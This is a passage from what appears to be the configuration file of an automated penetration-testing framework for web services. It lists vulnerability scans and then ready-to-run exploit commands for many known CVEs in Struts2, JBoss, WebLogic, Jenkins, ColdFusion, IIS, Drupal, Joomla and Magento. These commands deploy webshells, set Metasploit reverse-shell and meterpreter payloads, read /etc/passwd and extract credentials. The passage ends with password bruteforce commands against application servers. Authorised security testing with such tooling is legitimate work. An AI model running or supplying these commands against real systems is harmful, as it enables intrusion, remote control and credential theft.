description = Scan for vulnerabilities in CMS Joomla
tool        = joomscan
command_1   = perl joomscan.pl -u [URL] --enumerate-components
context_1   = { 'web-cms': 'Joomla' }

[check_joomla-vulnscan2]
name        = joomla-vulnscan2
category    = vulnscan
description = Scan for vulnerabilities in CMS Joomla
tool        = joomlascan
command_1   = python2 joomlascan.py -u [URL]
context_1   = { 'web-cms': 'Joomla' }

[check_joomla-vulnscan3]
name        = joomla-vulnscan3
category    = vulnscan
description = Scan for vulnerabilities in CMS Joomla
tool        = joomlavs
command_1   = ruby joomlavs.rb -u [URL] -v --scan-all
context_1   = { 'web-cms': 'Joomla' }

[check_drupal-vulnscan]
name        = drupal-vulnscan
category    = vulnscan
description = Scan for vulnerabilities in CMS Drupal
tool        = droopescan
command_1   = ./droopescan scan drupal -u [URL]
context_1   = { 'web-cms': 'Drupal' }

[check_magento-vulnscan]
name        = magento-vulnscan
category    = vulnscan
description = Check for misconfigurations in CMS Magento (working partially)
tool        = magescan
command_1   = php magescan.phar scan:all -k [URL]
context_1   = { 'web-cms': 'Magento' }

[check_silverstripe-vulnscan]
name        = silverstripe-vulnscan
category    = vulnscan
description = Scan for vulnerabilities in CMS Silverstripe
tool        = droopescan
command_1   = ./droopescan scan silverstripe -u [URL]
context_1   = { 'web-cms': 'Silverstripe' }

[check_vbulletin-vulnscan]
name        = vbulletin-vulnscan
category    = vulnscan
description = Scan for vulnerabilities in CMS vBulletin
tool        = vbscan
command_1   = perl vbscan.pl [URL]
context_1   = { 'web-cms': 'Vbulletin' }

[check_liferay-vulnscan]
name        = liferay-vulnscan
category    = vulnscan
description = Scan for vulnerabilities in CMS Liferay
tool        = liferayscan
command_1   = LiferayScan -v -u [URL]
context_1   = { 'web-cms': 'Liferay' }

[check_angularjs-csti-scan]
name        = angularjs-csti-scan
category    = vulnscan
description = Scan for AngularJS Client-Side Template Injection
tool        = angularjs-csti-scanner
command_1   = python3 acstis.py -d [URL] -c --ignore-invalid-certificates --verify-payload
context_1   = { 'web-jslib': 'Angularjs' }


#########################################################################################
# Exploit
#########################################################################################
[check_jquery-fileupload-rce-cve2018-9206]
name        = jquery-fileupload-rce-cve2018-9206
category    = exploit
description = Exploit arbitrary file upload in jQuery File Upload widget <= 9.22 (CVE-2018-9206)
tool        = jqshell
command_1   = python3 jqshell.py -t [URL]/jQuery-File-Upload -s [WEBSHELLSDIR]/cmd.php
context_1   = { 'web-jslib': 'Jquery' }
command_2   = python3 jqshell.py -t [URL]/jQuery-File-Upload-9.22.0 -s [WEBSHELLSDIR]/cmd.php
context_2   = { 'web-jslib': 'Jquery' }
command_3   = python3 jqshell.py -t [URL]/jQuery-File-Upload -s [WEBSHELLSDIR]/cmd.php
context_3   = { 'web-jslib': 'Jquery UI' }
command_4   = python3 jqshell.py -t [URL]/jQuery-File-Upload-9.22.0 -s [WEBSHELLSDIR]/cmd.php
context_4   = { 'web-jslib': 'Jquery UI' }

[check_struts2-rce-cve2017-5638]
name        = struts2-rce-cve2017-5638
category    = exploit
description = Exploit Apache Struts2 Jakarta Multipart parser RCE (CVE-2017-5638)
tool        = jexboss
command_1   = python2.7 jexboss.py --auto-exploit --struts2 -u [URL] --cmd whoami --disable-check-updates
context_1   = { 'web-language': 'Java' }

[check_struts2-rce-cve2017-9791]
name        = struts2-rce-cve2017-9791
category    = exploit
description = Exploit Apache Struts2 Plugin Showcase OGNL RCE (CVE-2017-9791)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use exploit/multi/http/struts2_code_exec_showcase; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set PAYLOAD cmd/unix/reverse; set LHOST [LOCALIP]; set LPORT 8443; set VERBOSE true; set AutoRunScript multi_console_command -c whoami,uname,exit; exploit; exit"
context_1   = { 'web-language': 'Java' }

[check_struts2-rce-cve2017-9805]
name        = struts2-rce-cve2017-9805
category    = exploit
description = Exploit Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805)
tool        = struts-pwn-cve2017-9805
command_1   = python3 struts-pwn.py -u [URL]
context_1   = { 'web-language': 'Java' }

[check_struts2-rce-cve2018-11776]
name        = struts2-rce-cve2018-11776
category    = exploit
description = Exploit Apache Struts2 misconfiguration RCE (CVE-2018-11776)
tool        = struts-pwn-cve2018-11776
command_1   = python3 struts-pwn.py -u [URL] 
context_1   = { 'web-language': 'Java' }

[check_rails-rce-cve2019-5420]
name        = rails-rce-cve2019-5420
category    = exploit
description = Exploit File Content Disclosure (CVE-2019-5418) + RCE (CVE-2019-5420) On Ruby on Rails
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit rails-cve-2019-5420
context_1   = { 'web-framework': 'Ruby On Rails' }

[check_appserver-auth-bypass]
name        = appserver-auth-bypass
category    = exploit
description = Attempt to exploit authentication bypass on appservers
tool        = clusterd
command_1   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a coldfusion --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_1   = { 'web-appserver': 'Adobe/Coldfusion|version_known' }
command_2   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a coldfusion --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent -d
context_2   = { 'web-appserver': 'Adobe/Coldfusion|version_unknown' }

command_3   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a jboss --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_3   = { 'web-appserver': 'Jboss|version_known' }
command_4   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a jboss --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent -d
context_4   = { 'web-appserver': 'Jboss|version_unknown' }

command_5   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a railo --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_5   = { 'web-appserver': 'Railo|version_known' }
command_6   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a railo --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent -d
context_6   = { 'web-appserver': 'Railo|version_unknown' }

command_7   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a tomcat --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_7   = { 'web-appserver': 'Apache/Tomcat|version_known' }
command_8   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a tomcat --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent -d
context_8   = { 'web-appserver': 'Apache/Tomcat|version_unknown' }

[check_tomcat-rce-cve2017-12617]
name        = tomcat-rce-cve2017-12617
category    = exploit
description = Exploit for Apache Tomcat JSP Upload Bypass RCE (CVE-2017-12617)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit tomcat-cve-2017-12617
context_1   = { 'web-appserver': 'Apache/Tomcat' }

[check_jboss-misconfig-exploit]
name        = jboss-misconfig-exploit
category    = exploit
description = Try exploit misconfig on JBoss appserver pre-auth (jmx|web|admin-console,JMXInvokerServlet)
tool        = jexboss
command_1   = python2.7 jexboss.py --auto-exploit --jboss -u [URL] --cmd whoami --disable-check-updates
context_1   = { 'web-appserver': 'JBoss' }

[check_jboss-path-traversal-cve2014-7816]
name        = jboss-path-traversal-cve2014-7816
category    = exploit
description = Exploit path traversal on Jboss Wildfly 8.1.0 (only Windows) (CVE-2014-7816)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/wildfly_traversal; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT];[HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'Jboss', 'os': 'windows' }

[check_jboss-deserialize-cve2015-7501]
name        = jboss-deserialize-cve2015-7501
category    = exploit
description = Exploit for JBoss Deserialize RCE (CVE-2015-7501)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit jboss-cve-2015-7501
context_1   = { 'web-appserver': 'Jboss' }

[check_jboss-jbossmq-deserialize-cve2017-7504]
name        = jboss-jbossmq-deserialize-cve2017-7504
category    = exploit
description = Exploit for JBoss 4.x JBosssMQ JMS Deserialize RCE (CVE-2017-7504)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit jboss-cve-2017-7504
context_1   = { 'web-appserver': 'Jboss' }

[check_jboss-deserialize-cve2017-12149]
name        = jboss-deserialize-cve2017-12149
category    = exploit
description = Exploit for JBoss 5.x/6.x Deserialize RCE (CVE-2017-12149)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit jboss-cve-2017-12149
context_1   = { 'web-appserver': 'Jboss' }

[check_glassfish-path-traversal-cve2017-1000028]
name        = glassfish-path-traversal-cve2017-1000028
category    = exploit
description = Exploit path traversal on Glassfish <= 4.1 (CVE-2017-1000028)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/glassfish_traversal; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT];[HTTPS true="set SSL true"]; set VERBOSE true; set FILEPATH /windows/win.ini; run; set FILEPATH /etc/passwd; run; exit"
context_1   = { 'web-appserver': 'Oracle/Glassfish' }

[check_jenkins-unauthenticated-console]
name        = jenkins-unauthenticated-console
category    = exploit
description = Detect and exploit unauthenticated Jenkins-CI script console
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/jenkins_command; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; set COMMAND 'echo Unauthenticated Jenkins console vulnerability OK && whoami';[HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'Jenkins' }

[check_jenkins-cli-deserialize-cve2015-8103]
name        = jenkins-cli-deserialize-cve2015-8103
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Jenkins CLI RMI (CVE-2015-8103) 
tool        = jexboss
command_1   = python2.7 jexboss.py --auto-exploit --jenkins -u [URL] --cmd whoami --disable-check-updates
context_1   = { 'web-appserver': 'Jenkins' }

[check_jenkins-cli-deserialize2-cve2015-8103]
name        = jenkins-cli-deserialize2-cve2015-8103
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Jenkins CLI RMI (CVE-2015-8103) 
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit jenkins-cve-2015-8103
context_1   = { 'web-appserver': 'Jenkins' }
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use exploit/linux/misc/jenkins_java_deserialize; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; set PAYLOAD java/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; exit"
# context_1   = { 'web-appserver': 'Jenkins' }

[check_jenkins-groovy-xml-rce-cve2016-0792]
name        = jenkins-groovy-xml-rce-cve2016-0792
category    = exploit
description = Exploit Jenkins Groovy XML RCE (CVE-2016-0792)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit jenkins-cve-2016-0792
context_1   = { 'web-appserver': 'Jenkins' }

[check_jenkins-deserialize-cve2017-1000353]
name        = jenkins-deserialize-cve2017-1000353
category    = exploit
description = Exploit Jenkins Java Deserialize RCE (CVE-2017-1000353)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit jenkins-cve-2017-1000353
context_1   = { 'web-appserver': 'Jenkins' }

[check_jenkins-rce-cve2018-1000861]
name        = jenkins-rce-cve2018-1000861
category    = exploit
description = Exploit Jenkins unauthenticated RCE via method invokation (CVE-2018-1000861)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit jenkins-cve-2018-1000861
context_1   = { 'web-appserver': 'Jenkins' }

[check_weblogic-t3-open-jdbc-datasource]
name        = weblogic-t3-open-jdbc-datasource
category    = exploit
description = List JNDIs available thru Weblogic T3(s) and attempt to get SQL shell via open JDBC datasource
tool        = jndiat
command_1   = java -jar jndiat.jar scan -v -s [IP] --ports [PORT]
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }
command_2   = java -jar jndiat.jar list -v -s [IP] -p [PORT]
context_2   = { 'web-appserver': 'Oracle/Weblogic Server' }
command_3   = java -jar jndiat.jar list -v -s [IP] -p [PORT] -U [USERNAME] -P [PASSWORD]
context_3   = { 'web-appserver': 'Oracle/Weblogic Server', 'auth_type': 'weblogic', 'auth_status': POST_AUTH }
command_4   = java -jar jndiat.jar datasource -v -s [IP] -p [PORT]
context_4   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-t3-deserialize-cve2015-4852]
name        = weblogic-t3-deserialize-cve2015-4852
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Weblogic T3(s) (CVE-2015-4852)
tool        = jok3r-pocs
# command_1   = echo "[~] Will try to ping local IP = [LOCALIP]"; echo "[~] Running tcpdump in background..."; sudo sh -c "tcpdump -U -i any -w /tmp/dump.pcap icmp &" ; python2.7 loubia.py [IP] [PORT] [HTTPS true="-s"] -o unix -c '/bin/ping -c 4 [LOCALIP]' -v; python2.7 loubia.py [IP] [PORT] [HTTPS true="-s"] -o win -c 'ping -n 4 [LOCALIP]' -v; echo "[~] Wait a little bit..."; sleep 3; PID=$(ps -e | pgrep tcpdump); echo "[~] Kill tcpdump"; sudo kill -9 $PID; sleep 2; echo "[~] Captured ICMP traffic:"; echo; sudo tcpdump -r /tmp/dump.pcap; echo "[~] Delete capture"; sudo rm /tmp/dump.pcap
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2015-4852
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-t3-deserialize-cve2016-3510]
name        = weblogic-t3-deserialize-cve2016-3510
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Weblogic T3 (CVE-2016-3510)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2016-3510
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-t3-deserialize-cve2017-3248]
name        = weblogic-t3-deserialize-cve2017-3248
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Weblogic T3(s) (CVE-2017-3248)
tool        = exploit-weblogic-cve2017-3248
command_1   = python2.7 exploits/weblogic/exploit-CVE-2017-3248-bobsecq.py -t [IP] -p [PORT] [HTTPS true="--ssl"] --check --ysopath [TOOLBOXDIR]/multi/ysoserial/ysoserial-master.jar
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-wls-wsat-cve2017-10271]
name        = weblogic-wls-wsat-cve2017-10271
category    = exploit
description = Exploit WLS-WSAT RCE (unauthenticated) in Weblogic (CVE-2017-10271)
tool        = jok3r-pocs
# command_1   = echo "[~] Will try to ping local IP = [LOCALIP]"; echo "[~] Running tcpdump in background..."; sudo sh -c "tcpdump -U -i any -w /tmp/dump.pcap icmp &" ; python2.7 exploit.py [URL] <<< '/bin/ping -c 4 [LOCALIP]'; echo "[~] Wait a little bit..."; sleep 3; PID=$(ps -e | pgrep tcpdump); echo "[~] Kill tcpdump"; sudo kill -9 $PID; sleep 2; echo "[~] Captured ICMP traffic:"; echo; sudo tcpdump -r /tmp/dump.pcap; echo "[~] Delete capture"; sudo rm /tmp/dump.pcap
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2017-10271
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-t3-deserialize-cve2018-2628]
name        = weblogic-t3-deserialize-cve2018-2628
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Weblogic T3(s) (CVE-2018-2628)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2018-2628
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set TARGET 0; set PAYLOAD cmd/unix/reverse_python; set LHOST [LOCALIP]; set LPORT 8443; set AutoRunScript multi_console_command -c whoami,uname,exit; exploit; exit"
# context_1   = { 'web-appserver': 'Oracle/Weblogic Server', 'os': 'linux' }
# command_2   = sudo msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set TARGET 1; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; exit"
# context_2   = { 'web-appserver': 'Oracle/Weblogic Server', 'os': 'windows' }

[check_weblogic-t3-deserialize-cve2018-2893]
name        = weblogic-t3-deserialize-cve2018-2893
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Weblogic T3(s) (CVE-2018-2893)
tool        = jok3r-pocs
# command_1   = echo "[~] Will try to ping local IP = [LOCALIP]"; echo "[~] Running tcpdump in background..."; sudo sh -c "tcpdump -U -i any -w /tmp/dump.pcap icmp &" ; java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "/bin/ping -c 4 [LOCALIP]" > /tmp/poc4.ser; python2.7 weblogic.py [IP] [PORT] /tmp/poc4.ser; echo "[~] Wait a little bit..."; sleep 3; PID=$(ps -e | pgrep tcpdump); echo "[~] Kill tcpdump"; sudo kill -9 $PID; sleep 2; echo "[~] Captured ICMP traffic:"; echo; sudo tcpdump -r /tmp/dump.pcap; echo "[~] Delete capture"; sudo rm /tmp/dump.pcap; rm /tmp/poc4.ser
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2018-2893
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-rce-cve2018-2894]
name        = weblogic-rce-cve2018-2894
category    = exploit
description = Exploit vulnerability in Weblogic allowing webshell deploiement (CVE-2018-2894)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2018-2894
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-wls-wsat-cve2019-2725]
name        = weblogic-wls-wsat-cve2019-2725
category    = exploit
description = Exploit WLS-WSAT RCE (unauthenticated) in Weblogic (CVE-2019-2725)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2019-2725
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_weblogic-wls-wsat-cve2019-2729]
name        = weblogic-wls-wsat-cve2019-2729
category    = exploit
description = Exploit WLS-WSAT RCE (unauthenticated) in Weblogic (CVE-2019-2729)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit weblogic-cve-2019-2729
context_1   = { 'web-appserver': 'Oracle/Weblogic Server' }

[check_websphere-deserialize-cve2015-7450]
name        = websphere-deserialize-cve2015-7450
category    = exploit
description = Exploit Java deserialization (unauthenticated) in Websphere (CVE-2015-7450)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit websphere-cve-2015-7450
context_1   = { 'web-appserver': 'Websphere Application Server'}
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use exploit/windows/misc/ibm_websphere_java_deserialize; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; exit"
# context_1   = { 'web-appserver': 'Websphere Application Server'}

[check_coldfusion-xxe-cve2009-3960]
name        = coldfusion-xxe-cve2009-3960
category    = exploit
description = Exploit XXE in Coldfusion 7/8/9 (CVE-2009-3960)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/adobe_xml_inject; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set FILE /etc/passwd; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'Adobe/Coldfusion', 'os': 'linux' }
command_2   = sudo msfconsole -q -x "use auxiliary/scanner/http/adobe_xml_inject; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set FILE \\Windows\\win.ini; set VERBOSE true; run; exit"
context_2   = { 'web-appserver': 'Adobe/Coldfusion', 'os': 'windows' }

[check_coldfusion-path-traversal-cve2010-2861]
name        = coldfusion-path-traversal-cve2010-2861
category    = exploit
description = Exploit path traversal in Coldfusion (CVE-2010-2861)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use scanner/http/coldfusion_locale_traversal; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set FILE /etc/passwd; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'Adobe/Coldfusion', 'os': 'linux' }
command_2   = sudo msfconsole -q -x "use scanner/http/coldfusion_locale_traversal; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set FILE \\Windows\\win.ini; set VERBOSE true; run; exit"
context_2   = { 'web-appserver': 'Adobe/Coldfusion', 'os': 'windows' }

[check_coldfusion-path-traversal-cve2013-3336]
name        = coldfusion-path-traversal-cve2013-3336
category    = exploit
description = Exploit path traversal in Coldfusion 9/10 and extract creds (CVE-2013-3336)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/gather/coldfusion_pwd_props; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'Adobe/Coldfusion' }

[check_coldfusion-deserialize-cve2017-3066]
name        = coldfusion-deserialize-cve2017-3066
category    = exploit
description = Exploit BlazeDS Java deserialization (unauthenticated) in Coldfusion (CVE-2017-3066)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit coldfusion-cve-2017-3066
context_1   = { 'web-appserver': 'Adobe/Coldfusion' }

[check_iis-webdav-win2003-bof]
name        = iis-webdav-win2003-bof
category    = exploit
description = Exploit Buffer overflow in WebDAV in IIS 6.0 on Windows 2003 R2 (CVE-2017-7269)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set VERBOSE true; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; exit"
context_1   = { 'web-server': 'Microsoft/IIS', 'webdav': True, 'os': 'windows' }

[check_drupal-sqli-drupalgeddon]
name        = drupal-sqli-drupalgeddon
category    = exploit
description = Exploit Drupalgeddon SQLi to add an admin in CMS Drupal 7.x <= 7.31 (CVE-2014-3704)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit drupal-cve-2014-3704
context_1   = { 'web-cms': 'Drupal|>=7' }

[check_drupal-rce-drupalgeddon2]
name        = drupal-rce-drupalgeddon2
category    = exploit
description = Exploit Drupalgeddon2 RCE in CMS Drupal 7.x < 7.58 & 8.x < 8.1 (CVE-2018-7600)
tool        = drupwn
command_1   = /bin/bash -c 'echo -e "exploit CVE-2018-7600\nquit" | python3 drupwn exploit [URL]'
context_1   = { 'web-cms': 'Drupal|>=7' }

[check_drupal-rce-rest-cve2019-6340]
name        = drupal-rce-rest-cve2019-6340
category    = exploit
description = Exploit REST RCE in CMS Drupal 8.5.x < 8.5.11 & 8.6.x < 8.6.10 (CVE-2019-6340)
tool        = drupwn
command_1   = /bin/bash -c 'echo -e "exploit CVE-2019-6340\nquit" | python3 drupwn exploit [URL]'
context_1   = { 'web-cms': 'Drupal|>=8' } 

[check_joomla-comfields-sqli-rce]
name        = joomla-comfields-sqli-rce
category    = exploit
description = Exploit SQL injection to RCE in com_fields component in Joomla >= 3.7.0 (CVE-2017-8917)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use unix/webapp/joomla_comfields_sqli_rce; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; set PAYLOAD php/exec; set CMD 'echo Joomla comfields SQLi to RCE vulnerability OK && whoami';[HTTPS true="set SSL true"]; set TARGETURI [URIPATH]; set VERBOSE true; run; exit"
context_1   = { 'web-cms': 'Joomla' }

[check_magento-2.2-sqli]
name        = magento-2.2-sqli
category    = exploit
description = Exploit Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi (user/admin session ID retrieval)
tool        = jok3r-pocs
command_1   = python3 pocexec.py --target [URL] --exploit magento-2.2-sqli
context_1   = { 'web-cms': 'Magento|<=2.3' } 

[check_cms-multi-exploits]
name        = cms-multi-exploits
category    = exploit
description = Multiple exploits for CMS Joomla, Wordpress, Prestashop
tool        = vulnx
command_1   = vulnx -u [URL] -e
context_1   = { 'web-cms': ['Joomla', 'Wordpress', 'Prestashop'] }


#########################################################################################
# Bruteforce
#########################################################################################
[check_bruteforce-htaccess]
name        = bruteforce-htaccess
category    = bruteforce
description = Bruteforce HTTP authentication (htaccess) if 401 Unauthorized returned
# tool        = hydra
# command_1   = hydra -L "[USERLIST default="usernames/usernames-short.txt"]" -P "[PASSLIST default="passwords/pass-medium.txt"]" -e ns -t 15 -f -s [PORT] -v -V -I [IP]  http-get [URIPATH]
# context_1   = { 'htaccess': True, 'auth_type': 'htaccess', 'auth_status': NO_AUTH }
# command_2   = hydra -l [USERNAME] -P "[PASSLIST default="passwords/pass-short.txt"]" -e ns -t 15 -f -s [PORT] -v -V -I [IP]  http-get [URIPATH]
# context_2   = { 'htaccess': True, 'auth_type': 'htaccess', 'auth_status': USER_ONLY }
tool        = web-brutator
command_1   = python3 web-brutator.py --url [URL] --target axis2 --userlist "[USERLIST default="usernames/usernames-short.txt"]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_1   = { 'htaccess': True, 'auth_type': 'htaccess', 'auth_status': NO_AUTH }
command_2   = python3 web-brutator.py --url [URL] --target axis2 --username "[USERNAME]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_2   = { 'htaccess': True, 'auth_type': 'htaccess', 'auth_status': USER_ONLY }

[check_bruteforce-appserver]
name        = bruteforce-appserver
category    = bruteforce
description = Bruteforce authentication on appserver (if no lockout by default)
tool        = web-brutator
command_1   = python3 web-brutator.py --url [URL] --target axis2 --userlist "[USERLIST default="services/http/creds/app-servers/axis2-usernames.txt"]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_1   = { 'web-appserver': 'Apache/Axis2', 'auth_type': 'axis2', 'auth_status': NO_AUTH }
command_2   = python3 web-brutator.py --url [URL] --target axis2 --username '[USERNAME]' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_2   = { 'web-appserver': 'Apache/Axis2', 'auth_type': 'axis2', 'auth_status': USER_ONLY }

command_3   = python3 web-brutator.py --url [URL] --target coldfusion --userlist "[USERLIST default="services/http/creds/app-servers/coldfusion-usernames.txt"]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_3   = { 'web-appserver': 'Adobe/Coldfusion', 'auth_type': 'coldfusion', 'auth_status': NO_AUTH }
command_4   = python3 web-brutator.py --url [URL] --target coldfusion --username '[USERNAME]' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_4   = { 'web-appserver': 'Adobe/Coldfusion', 'auth_type': 'coldfusion', 'auth_status': USER_ONLY }

command_5   = python3 web-brutator.py --url [URL] --target glassfish --userlist "[USERLIST default="services/http/creds/app-servers/glassfish-usernames.txt"]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_5   = { 'web-appserver': 'Oracle/Glassfish', 'auth_type': 'glassfish', 'auth_status': NO_AUTH }
command_6   = python3 web-brutator.py --url [URL] --target glassfish --username '[USERNAME]' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_6   = { 'web-appserver': 'Oracle/Glassfish', 'auth_type': 'coldfusion', 'auth_status': USER_ONLY }

command_7   = python3 web-brutator.py --url [URL] --target jboss --userlist "[USERLIST default="services/http/creds/app-servers/jboss-usernames.txt"]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_7   = { 'web-appserver': 'Jboss', 'auth_type': 'jboss', 'auth_status': NO_AUTH }
command_8   = python3 web-brutator.py --url [URL] --target jboss --username '[USERNAME]' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_8   = { 'web-appserver': 'Jboss', 'auth_type': 'jboss', 'auth_status': USER_ONLY }

command_9   = python3 web-brutator.py --url [URL] --target jenkins --userlist "[USERLIST default="services/http/creds/app-servers/jenkins-usernames.txt"]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_9   = { 'web-appserver': 'Jenkins', 'auth_type': 'jenkins', 'auth_status': NO_AUTH }
command_10  = python3 web-brutator.py --url [URL] --target jenkins --username '[USERNAME]' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_10  = { 'web-appserver': 'Jenkins', 'auth_type': 'jenkins', 'auth_status': USER_ONLY }

# Note: no username on Railo
command_11  = python3 web-brutator.py --url [URL] --target railo --username '' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
